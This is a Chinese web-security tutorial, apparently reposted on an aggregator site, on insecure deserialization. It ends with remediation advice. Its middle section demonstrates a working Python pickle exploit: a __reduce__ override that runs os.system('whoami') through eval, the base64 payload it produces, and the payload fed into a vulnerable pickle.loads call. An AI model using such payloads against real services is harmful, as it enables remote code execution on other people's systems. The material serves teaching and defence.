【WEB安全】不安全的反序列化

这篇具有很好参考价值的文章主要介绍了【WEB安全】不安全的反序列化。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.1. 什么是序列化和反序列化

序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。

**序列化是指将对象或数据结构转换为字节流的过程。**在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后可以通过反序列化操作重新构建对象并恢复其状态和数据。

**反序列化是指将序列化后的字节流转换回对象或数据结构的过程。**在反序列化过程中,字节流被读取并解析,以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保存的对象或接收通过网络传输的序列化数据。通过反序列化,可以重新构建对象并恢复其之前序列化的状态和数据。

序列化和反序列化在许多领域都有广泛的应用,例如分布式系统、持久化存储、缓存机制以及跨平台通信。它们允许将复杂的对象或数据结构转换为字节流进行传输或存储,从而实现不同系统之间的数据交换和共享。

1.2. 漏洞介绍

不安全的反序列化是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。

以下是一些常见的不安全反序列化的情况:

  1. 不受限制的反序列化:如果反序列化操作没有适当的验证和限制,允许任意的序列化数据被反序列化,攻击者可以构造恶意的序列化数据来执行恶意代码。
  2. 未经过滤的输入:如果反序列化操作接受未经过滤的输入数据,攻击者可以通过构造特定的恶意数据来执行命令或导致不受控制的行为。
  3. 自定义的反序列化逻辑:如果使用自定义的反序列化逻辑而不是使用安全的序列化库或框架,可能会导致安全问题。自定义逻辑可能缺乏必要的安全验证和过滤步骤,从而容易受到攻击。
  4. 恶意的序列化数据:如果攻击者能够在反序列化操作中提供恶意构造的序列化数据,可能会导致命令执行或其他不受控制的行为。

1.3. 复现过程

网上大多是采用的php进行复现,一搜一大堆,这里我们用Python的pickle模块来进行复现。

1.3.1. pickle模块介绍

参考 doc,可见是一个序列化模块。

web不安全的反序列化,安全,web安全,网络

基础使用如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

web不安全的反序列化,安全,web安全,网络

1.3.2. 魔术方法 reduce()

在Python中,__reduce__()是一个特殊方法,用于定义对象的序列化行为。当使用pickle模块对对象进行序列化和反序列化时,__reduce__()方法会被调用。

__reduce__()方法应该返回一个元组(),其中包含两个或三个元素。元组的第一个元素是用于重新构建对象的函数,第二个元素是传递给构建函数的参数(通常是一个元组),而第三个元素(可选)是用于恢复对象状态的可迭代对象。

简单来说,我们可以通过重写__reduse__()函数,来修改数据反序列化的方式。

修改刚才的代码,举例如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        print("Calling __reduce__()")
        # return (self.__class__, (self.value,))
        return (print, ("reduse poc test",))


# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

可见在反序列化的时候,调用的是我们重写时用的print方法。

web不安全的反序列化,安全,web安全,网络

1.3.3. 漏洞场景举例复现

假设漏洞场景代码如下,其中userInput是我们可以控制输入的地方:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = ""
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

根据上述代码,构造POC代码,生成序列化的内容,其中编写__reduse__()函数如下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        return (eval, ('__import__("os").system("whoami")',))


person = Person("d4m1ts", 18)
serialized_data = pickle.dumps(person)
print(base64.b64encode(serialized_data).decode())

得到payload为: gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu

把payload插入漏洞场景测试一下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = "gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu"
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

web不安全的反序列化,安全,web安全,网络

可见成功执行了系统命令。

总结一下复现过程,就是写一个__reduse__函数来改变反序列化的行为即可。文章来源地址https://www.toymoban.com/news/detail-599664.html

1.4. 漏洞危害

  1. 远程代码执行:攻击者可以通过构造恶意序列化数据注入和执行任意代码,从而完全控制目标系统,并执行恶意操作。
  2. 远程命令执行:攻击者可以通过反序列化漏洞在目标系统上执行远程命令,从而对其他系统或网络资源造成进一步的威胁。
  3. 信息泄露:攻击者可以利用反序列化漏洞读取和获取目标系统中的敏感信息,例如数据库凭据、用户密码、加密密钥等。
  4. 拒绝服务(DoS)攻击:攻击者可以发送恶意序列化数据来触发异常或消耗过多的系统资源,导致系统崩溃或无法提供正常的服务。

1.5. 修复建议

  • 使用安全的序列化库或框架,这些库经过严格测试和审查,并提供了适当的安全防护机制。
  • 对反序列化输入进行严格的验证和过滤,只接受预期的数据格式和内容。
  • 不要从不受信任的来源接受序列化数据,尽量限制数据来源。
  • 定期更新和修复序列化库和相关组件,以获取最新的安全修补程序。
  • 配置系统和应用程序的安全设置,限制恶意代码执行的可能性。

到了这里,关于【WEB安全】不安全的反序列化的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 由Django-Session配置引发的反序列化安全问题

    漏洞成因位于目标配置文件settings.py下 关于这两个配置项 SESSION_ENGINE: 在Django中, SESSION_ENGINE  是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。 SESSION_ENGINE  设置项允许您选择不同的后端引擎来存储会话数据,例如: 数据库后端  ( django.contrib.sessions.b

    2024年02月08日
    浏览(49)
  • WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

    知识点: 1、Java安全-原生反序列化-3大类接口函数利用 2、Java安全-SpringBoot攻防-泄漏安全CVE安全 序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记( ac ed 00 05 )开头,base64编码的特征为 rO0AB 。 JAVA常见的序列化

    2024年02月03日
    浏览(41)
  • 小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&数据提取&组件安全

    # 知识点: 1 、 Java 反序列化演示 - 原生 API 接口 2 、 Java 反序列化漏洞利用 -Ysoserial 使用 3 、 Java 反序列化漏洞发现利用点 - 函数 数据 4 、 Java 反序列化考点 - 真实 CTF 赛题 - 审计分析 # 内容点: 1 、明白 -Java 反序列化原理 2 、判断 -Java 反序列化漏洞 3 、学会 -Ysoserial 工具

    2024年04月10日
    浏览(63)
  • Java反序列化:URLDNS的反序列化调试分析

    URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。 笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。 Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。 Java原生链反序列化

    2024年02月15日
    浏览(37)
  • Java反序列化(0):URLDNS的反序列化调试分析

    URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。 笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。 Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。 Java原生链反序列化

    2024年02月16日
    浏览(48)
  • ctfshow-反序列化(web271-web276)

    目录 web271 web272-273 web274 web275 web276 为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE 前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打 首先先不用太研究 这样的

    2024年01月23日
    浏览(45)
  • ctfshow web入门——反序列化

    web254 web255 web256 web257 web258 代码审计,上传username=xxxxxxpassword=xxxxxx即可获得flag 分析代码可知,这里user的值是使用反序列化user COOKIE传参的值 并且传入的值是username=xxxxxx和password=xxxxxx 利用php文件将其反序列化并进行url编码 将结果上传,并要从cookie中传入,获得flag 和上题差不

    2024年02月11日
    浏览(38)
  • 【wp】2023鹏城杯初赛 Web web1(反序列化漏洞)

    考点: 常规的PHP反序列化漏洞+双写绕过waf 签到题 源码: 代码审计: 入口肯定是H. __destruct()魔术方法进去,然后这里就涉及到下一步tostring()魔术方法的触发 ,但是这里涉及两个tostring()方法 然后这里就有个非预期解 非预期解:  POP链:H.destruct()-Hacker.tostring() 代码构造

    2024年02月05日
    浏览(35)
  • ctfshow web入门 反序列化 前篇 254-266

    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 这里分析一下,我们通过get可以传参两个值,这里他会自动new一个类,我们传的参就会被送入login中做强比较,只要我们传入的值等于$username和$password的值,我们就可以获得

    2024年02月01日
    浏览(42)
  • 【Web】CTFSHOW java反序列化刷题记录(部分)

    目录 web846 web847 web848 web849 web850 web856 web857 web858 直接拿URLDNS链子打就行 payload: 也可直接用ysoserial 有关CC链:CC链 1-7 分析 - 先知社区 题目提示: 用CC1打就行 先生成反弹shell的payload: 生成的payload放bp自带的decoder里进行一次url全编码 get方式传参 监听,成功反弹shell TransformedMap也

    2024年02月20日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包